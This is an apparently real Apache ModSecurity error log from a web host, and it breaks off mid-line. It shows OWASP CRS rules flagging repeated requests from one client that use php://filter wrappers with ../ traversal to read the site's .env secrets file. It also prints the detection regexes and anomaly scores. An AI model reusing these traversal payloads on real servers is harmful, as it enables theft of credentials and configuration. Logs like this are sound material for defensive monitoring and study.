[Fri Jul 17 08:55:11.372451 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&extra=vrkDL5HMLUVR4ppcy3veyKWzAk7qWttmXLPdSGLnqfwwMYIw3-F21nYZ7soy9b1HSTcs84AZPB3QK-zfPY5d3TVyjyy_aCCUX1mhD1-kdBWCkc-eWVnCUd2_LhtBOiavqxYXcocjA46g6d6wBBhlZ1YlBi3UWtW_dQQrWoepAvnKb-7Qv0mxyTT0D8eTfbpXXHUoOD1scI-gR1KvJepAaAc4GftKMH6K12kDY_6K0sb0BCihtlsVgbkswx4oF_n8zWkejI3wDY0KWS-MlrsO3slQ&anything=Q5NJE7VRI73US2GOMFCXV3BALN4YNAU4WXWK3BL7C7UBHU6GTLDS5KAEEEQUR3XIGP5NBVG77VLXF277W4MERWQ4TL5JAV4R..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHAAAABQ"]
[Fri Jul 17 08:55:11.372498 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&extra=vrkdl5hmluvr4ppcy3veykwzak7qwttmxlpdsglnqfwwmyiw3-f21nyz7soy9b1hstcs84azpb3qk-zfpy5d3tvyjyy_accux1mhd1-kdbwckc-ewvncud2_lhtboiavqxyxcocja46g6d6wbbhlz1ylbi3uwtw_dqqrwoepavnkb-7qv0mxytt0d8etfbpxxhuood1sci-gr1kvjepaaac4gftkmh6k12kdy_6k0sb0bcihtlsvgbkswx4of_n8zwkeji3wdy0kws-mlrso3slq&anything=q5nje7vri73us2gomfcxv3baln4ynau4wxwk3bl7c7ubhu6gtlds5kaeeequr3xigp5nbvg77vlxf277w4merwq4tl5jav4r..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHAAAABQ"]
[Fri Jul 17 08:55:11.372527 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHAAAABQ"]
[Fri Jul 17 08:55:11.372556 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHAAAABQ"]
[Fri Jul 17 08:55:11.372902 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHAAAABQ"]
[Fri Jul 17 08:55:11.373891 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHAAAABQ"]
[Fri Jul 17 08:55:11.374026 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.374357 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sHAAAABQ"]
[Fri Jul 17 08:55:11.385385 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&read=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&cb=V3l8k8UxzjHRU5Cr5laVy6Cgwzwyiz9jklgl9iGKzHMuyrViHDar_PlRnPcf89BCTKPKR1td7VtB_hb9-WeM7eqPbCpk5L6j_qF7o1c82Z9MRJMr4x1cgjg3A72rafUnUpkfWn3zfWFdpi8930nU6MrWMMX3Vj-0rdxBuG3aDgtkJCo4qopvZoZgAJQ42IL7cdGlqLkEQhnP-psCETxgd9qSu3CV34Sps7ph-JYxeaUi4flAUSpP6n1vn31Xx_mi6ORPXd06ekzUl965pr0AH2ol&sid=YUM6ZMQSJGGPMO4QB3WX5QVENA7WEICGBBIF25RNJ4ESRD7IKVZ4TGZ75QKGQ6GYVJXZHSVV3TG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQgAAAAY"]
[Fri Jul 17 08:55:11.385437 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQgAAAAY"]
[Fri Jul 17 08:55:11.385495 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&cb=V3l8k8UxzjHRU5Cr5laVy6Cgwzwyiz9jklgl9iGKzHMuyrViHDar_PlRnPcf89BCTKPKR1td7VtB_hb9-WeM7eqPbCpk5L6j_qF7o1c82Z9MRJMr4x1cgjg3A72rafUnUpkfWn3zfWFdpi8930nU6MrWMMX3Vj-0rdxBuG3aDgtkJCo4qopvZoZgAJQ42IL7cdGlqLkEQhnP-psCETxgd9qSu3CV34Sps7ph-JYxeaUi4flAUSpP6n1vn31Xx_mi6ORPXd06ekzUl965pr0AH2ol&sid=YUM6ZMQSJGGPMO4QB3WX5QVENA7WEICGBBIF25RNJ4ESRD7IKVZ4TGZ75QKGQ6GYVJXZHSVV3TGCJKWKN4LM3NNAXKNULRK7QNHHT..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQgAAAAY"]
[Fri Jul 17 08:55:11.385540 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&cb=v3l8k8uxzjhru5cr5lavy6cgwzwyiz9jklgl9igkzhmuyrvihdar_plrnpcf89bctkpkr1td7vtb_hb9-wem7eqpbcpk5l6j_qf7o1c82z9mrjmr4x1cgjg3a72rafunupkfwn3zfwfdpi8930nu6mrwmmx3vj-0rdxbug3adgtkjco4qopvzozgajq42il7cdglqlkeqhnp-pscetxgd9qsu3cv34sps7ph-jyxeaui4flauspp6n1vn31xx_mi6orpxd06ekzul965pr0ah2ol&sid=yum6zmqsjggpmo4qb3wx5qvena7weicgbbif25rnj4esrd7ikvz4tgz75qkgq6gyvjxzhsvv3tgcjkwkn4lm3nnaxknulrk7qnhht..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQgAAAAY"]
[Fri Jul 17 08:55:11.385568 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQgAAAAY"]
[Fri Jul 17 08:55:11.385592 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQgAAAAY"]
[Fri Jul 17 08:55:11.385959 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQgAAAAY"]
[Fri Jul 17 08:55:11.386974 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQgAAAAY"]
[Fri Jul 17 08:55:11.387121 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.387510 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBQgAAAAY"]
[Fri Jul 17 08:55:11.390835 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&read=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ref=nvUTyeu0J2xXkNjkSY19MxAD_M7Q2JRhMbG56m82_Yw1AGIfsqhK5trvC1lgEBMX2ybXVTtjHXNTRzM-8xW0UMZqTiIu2bHAdEphI_x06w79F3oqfUq7t3VP4tSF0QswKsTe0WAc4KDH52Tk-Y_S-_9X2NoFwh8QAT1CHiiiI2TzXXPXwxC2hX49QanUtUqCt9ZOnoGZAfpzvg6G0goelbfVzCLc0yM_ZjkF4Rs_NeFsh3gj14TJcZztku08x7KEopOdpFkPSmiST0eKbVWNbdg5&ref=7DGTSBC76KBAZXWWZ6YUROI3EBJICMDEWASV2WWDK6HDR3QMORKYIZ6JCSFXM2ZD5YCRNH4KXNHA43..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xwAAAAw"]
[Fri Jul 17 08:55:11.390880 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xwAAAAw"]
[Fri Jul 17 08:55:11.390944 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.base64-encode/resource=../../../.env&ref=nvUTyeu0J2xXkNjkSY19MxAD_M7Q2JRhMbG56m82_Yw1AGIfsqhK5trvC1lgEBMX2ybXVTtjHXNTRzM-8xW0UMZqTiIu2bHAdEphI_x06w79F3oqfUq7t3VP4tSF0QswKsTe0WAc4KDH52Tk-Y_S-_9X2NoFwh8QAT1CHiiiI2TzXXPXwxC2hX49QanUtUqCt9ZOnoGZAfpzvg6G0goelbfVzCLc0yM_ZjkF4Rs_NeFsh3gj14TJcZztku08x7KEopOdpFkPSmiST0eKbVWNbdg5&ref=7DGTSBC76KBAZXWWZ6YUROI3EBJICMDEWASV2WWDK6HDR3QMORKYIZ6JCSFXM2ZD5YCRNH4KXNHA436TFETZH4FZX7GPMZGJ2MA7D26V..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xwAAAAw"]
[Fri Jul 17 08:55:11.390976 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.base64-encode/resource=../../../.env&ref=nvutyeu0j2xxknjksy19mxad_m7q2jrhmbg56m82_yw1agifsqhk5trvc1lgebmx2ybxvttjhxntrzm-8xw0umzqtiiu2bhadephi_x06w79f3oqfuq7t3vp4tsf0qswkste0wac4kdh52tk-y_s-_9x2nofwh8qat1chiiii2tzxxpxwxc2hx49qanutuqct9zonogzafpzvg6g0goelbfvzclc0ym_zjkf4rs_nefsh3gj14tjczztku08x7keopodpfkpsmist0ekbvwnbdg5&ref=7dgtsbc76kbazxwwz6yuroi3ebjicmdewasv2wwdk6hdr3qmorkyiz6jcsfxm2zd5ycrnh4kxnha436tfetzh4fzx7gpmzgj2ma7d26v..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xwAAAAw"]
[Fri Jul 17 08:55:11.390999 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xwAAAAw"]
[Fri Jul 17 08:55:11.391018 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xwAAAAw"]
[Fri Jul 17 08:55:11.391396 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xwAAAAw"]
[Fri Jul 17 08:55:11.392417 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xwAAAAw"]
[Fri Jul 17 08:55:11.392525 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.392595 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 